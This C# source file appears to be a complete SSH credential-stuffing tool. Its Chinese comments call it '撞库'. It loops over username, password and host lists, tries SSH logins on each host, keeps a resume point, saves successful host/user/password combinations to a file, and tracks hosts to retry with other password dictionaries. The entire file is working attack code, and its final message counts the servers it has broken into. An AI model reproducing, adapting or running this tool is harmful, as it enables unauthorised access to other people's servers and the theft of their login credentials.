﻿using CommonUtils;
using System.Collections.Generic;

namespace AutoRdp
{
    class Program
    {
        class Info
        {
            public string Host;
            public string User;
            public string Pwd;
        }

        static void Main(string[] args)
        {
            ConsoleUtil.WriteLine("即将进行撞库，是否载入断点?");
            bool loadBreak = ConsoleUtil.YesOrNo();
            var breakSavePath = ConfigUtil.GetPath("break-info.json");
            var @break = JsonUtil.DeserializeFromFile(breakSavePath, new Info(), false);
            if (@break.Host.IsNullOrEmpty())
                loadBreak = false;

            var timeoutSeconds = ConfigUtil.GetInt("timeoutSeconds");
            var users = ConfigUtil.Deserialize<string[]>("user-list.json");
            var pwds = ConfigUtil.Deserialize<string[]>("pwd-list.json");
            var hosts = ConfigUtil.Deserialize<string[]>("host-list.json");

            var ignoreHosts = new List<string>();

            var successCount = 0;
            var successSavePath = ConfigUtil.GetPath("!!!!!!!!!!!success-list.txt");

            var ProtocalDenySavePath = ConfigUtil.GetPath("!!!!!!!!!!!protocal-deny-list.txt");
            var ConnectionExceptionSavePath = ConfigUtil.GetPath("!!!!!!!!!!!connection-exception-list.txt");

            var authenticationDenyHosts = new List<string>();
            var AuthenticationDenySavePath = ConfigUtil.GetPath("!!!!!!!!!!!authentication-deny-list.txt");

            foreach (string user in users)
            {
                if (loadBreak && user != @break.User)
                    continue;

                foreach (string pwd in pwds)
                {
                    if (loadBreak && pwd != @break.Pwd)
                        continue;

                    foreach (string host in hosts)
                    {
                        //找断点
                        if (loadBreak && host != @break.Host)
                            continue;
                        loadBreak = false;

                        //忽略不需要判断的（超时，windows等）
                        if (ignoreHosts.Contains(host))
                            continue;

                        //记录断点
                        @break.Host = host;
                        @break.User = user;
                        @break.Pwd = pwd;
                        FileUtil.Save(breakSavePath, @break.ToJson(true));

                        var state = SshUtil.TryConnect(host, user, pwd, timeoutSeconds);

                        //胜利了
                        if (state == SshConnectState.Success)
                        {
                            successCount++;
                            FileUtil.AppendLine(successSavePath, string.Format("host:{0} user:{1} password:{2}", host, user, pwd));
                        }

                        //windows?记下来再说
                        if (state == SshConnectState.ProtocalDeny)
                            FileUtil.AppendLine(ProtocalDenySavePath, string.Format("host:{0}", host));

                        //异常了，原因未知
                        //if (state == SshConnectState.ConnectionException)
                        //    FileUtil.AppendLine(ConnectionExceptionSavePath, string.Format("host:{0}", host));

                        //密码错误 换密码继续
                        if (state == SshConnectState.AuthenticationDeny)
                        {
                            //记录下来，可能换字典后有用
                            if (!authenticationDenyHosts.Contains(host))
                            {
                                authenticationDenyHosts.Add(host);
                                FileUtil.AppendLine(AuthenticationDenySavePath, string.Format("host:{0}", host));
                            }
                        }
                        else//没必要换密码继续了，忽略
                        {
                            ignoreHosts.Add(host);
                        }
                    }
                }
            }

            ConsoleUtil.WriteLine("撞库完成,成功撞开{0}台服务器，按任意键退出!", successCount);
            ConsoleUtil.Pause();
        }
    }
}
